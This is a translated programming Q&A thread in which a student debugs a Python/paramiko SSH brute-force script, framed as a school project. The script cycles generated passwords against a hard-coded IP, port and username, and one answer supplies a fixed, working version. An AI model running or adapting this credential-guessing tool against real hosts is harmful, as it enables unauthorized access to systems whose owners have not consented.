Python SSH Brute Force

时间:2017-08-31 09:57:17

标签: python ssh

我正在为学校项目编写一个SSH Brute Force程序,但是我被困在我必须要设置密码功能的部分。这是我的代码到目前为止的样子。

import itertools, paramiko, sys, os, socket


line = "\n-------------------------------------\n"

hostname= '138.68.108.222'
username = 'billy'
port = 50684
password = 'bingo'


input_file = open("example.txt", 'a')


chrs = 'abcdefghijklmnopkrstuvxy1234567890'
n = 3

for xs in itertools.product(chrs, repeat=n):
    password = '-its?' + ''.join(xs)
    input_file.write(password + "\n")


def ssh_connect(password, code = 0):

    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy)

    try:

        ssh.connect(hostname = hostname, port = port, password= password, username= username)

    except paramiko.AuthenticationException:

        code = 1

    except socket.error as e:

        code =2

    ssh.close()
    return code

input_file = open("example.txt")

print("")


for i in input_file.readlines():

    password = i.strip("\n")
    try:
        response = ssh_connect(password)

        if response == 0:
            print("Password Found: "(line, username,password, line))
            sys.exit(0)

        elif response == 1:
            print("Password Incorrect: " (username, password))

        elif response == 2:
            print("Connection Failed: " (hostname))
            sys.exit(2)

    except Exception as e:
        print(e)
        pass

open("example.txt", 'w').close()

input_file.close()

我遇到的问题是它理解它应该循环它,但我得到的所有输出是:

>>> 'str' object is not callable
>>> 'str' object is not callable
>>> 'str' object is not callable
>>> 'str' object is not callable

有没有办法解决这个问题?

当我停止运行程序时,它给了我这个Traceback:

Traceback (most recent call last):
  File "/Users/eliasdavidsen/PycharmProjects/Mandatory3/test.py", line 52, in <module>
    response = ssh_connect(password)
  File "/Users/eliasdavidsen/PycharmProjects/Mandatory3/test.py", line 30, in ssh_connect
    ssh.connect(hostname = hostname, port = port, password= password, username= username)
  File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/paramiko/client.py", line 394, in connect
    look_for_keys, gss_auth, gss_kex, gss_deleg_creds, gss_host)
  File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/paramiko/client.py", line 636, in _auth
    self._transport.auth_password(username, password)
  File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/paramiko/transport.py", line 1329, in auth_password
    return self.auth_handler.wait_for_response(my_event)
  File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/paramiko/auth_handler.py", line 198, in wait_for_response
    event.wait(0.1)
  File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/threading.py", line 551, in wait
    signaled = self._cond.wait(timeout)
  File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/threading.py", line 299, in wait
    gotit = waiter.acquire(True, timeout)
KeyboardInterrupt

Process finished with exit code 1

2 个答案:

答案 0 :(得分:0)

它正在运作。试试这个:

import itertools, paramiko, sys, os, socket


line = "\n-------------------------------------\n"

hostname= '138.68.108.222'
username = 'billy'
port = 50684
password = 'bingo'


input_file = open("example.txt", 'a')


chrs = 'abcdefghijklmnopkrstuvxy1234567890'
n = 3

for xs in itertools.product(chrs, repeat=n):
    password = '-its?' + ''.join(xs)
    input_file.write(password + "\n")


def ssh_connect(password, code = 0):

    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy)

    try:

        ssh.connect(hostname = hostname, port = port, password= password, username= username)

    except paramiko.AuthenticationException:

        code = 1

    except socket.error as e:

        code =2

    ssh.close()
    return code

input_file = open("example.txt")

print("")


for i in input_file.readlines():

    password = i.strip("\n")
    try:

        response = ssh_connect(password)

        if response == 0:
            print("Password Found: {}, {}, {}, {}".format(line, username,password, line))
            sys.exit(0)

        elif response == 1:
            print("Password Incorrect: {}, {}".format(username, password))

        elif response == 2:
            print("Connection Failed: {}".format(hostname))
            sys.exit(2)

    except Exception as e:
        print(e)
        pass

open("example.txt", 'w').close()

input_file.close()

在第56,60,63行中,您没有正确调用变量。您忘记了%,但您也可以使用我在上面代码中使用的.format()

答案 1 :(得分:0)

您发布的追溯(中断流程时获得的追溯)实际上是无关紧要的。由于你的脚本的主循环中没有用处且实际上有害的异常处理程序,你可以自己调试问题,但是你应该完全删除或者至少重写以仅捕获预期的异常 - 然后只包装ssh_connect()调用,而不是以下代码。 IOW,你想要替换它:

for i in input_file.readlines():
    password = i.strip("\n")
    try:
        response = ssh_connect(password)
        if response == 0:
            print("Password Found: "(line, username,password, line))
            sys.exit(0)
        elif response == 1:
            print("Password Incorrect: " (username, password))
        elif response == 2:
            print("Connection Failed: " (hostname))
            sys.exit(2)
    except Exception as e:
        print(e)

for i in input_file.readlines():
    password = i.strip("\n")
    try:
        response = ssh_connect(password)
    except (your, list, of, expected, exceptions, here) as :
        do_something_to_correctly_handle_this_exception_here(e)

    if response == 0:
        print("Password Found: "(line, username,password, line))
        sys.exit(0)
    elif response == 1:
        print("Password Incorrect: " (username, password))
    elif response == 2:
        print("Connection Failed: " (hostname))
        sys.exit(2)

wrt /你当前的问题,它在上面的print电话中:你有:

 print("some message" (variable, eventually_another_variable))

被解释为:

msg = "some message" (variable, eventually_another_variable)
print(msg)

其中第一行被解释为应用于“some message”字符串的函数调用,因此是异常。你想要的是字符串格式,即:

print("Password Incorrect: {} {}".format(username, password))

你的代码也有一些问题,例如在没有正确关闭代码的情况下打开文件,混合函数和顶级代码而不是将所有操作代码放在函数中只有一个主函数调用在顶层,将密码写入文件并在不需要时重新读取该文件(至少在技术上),等等......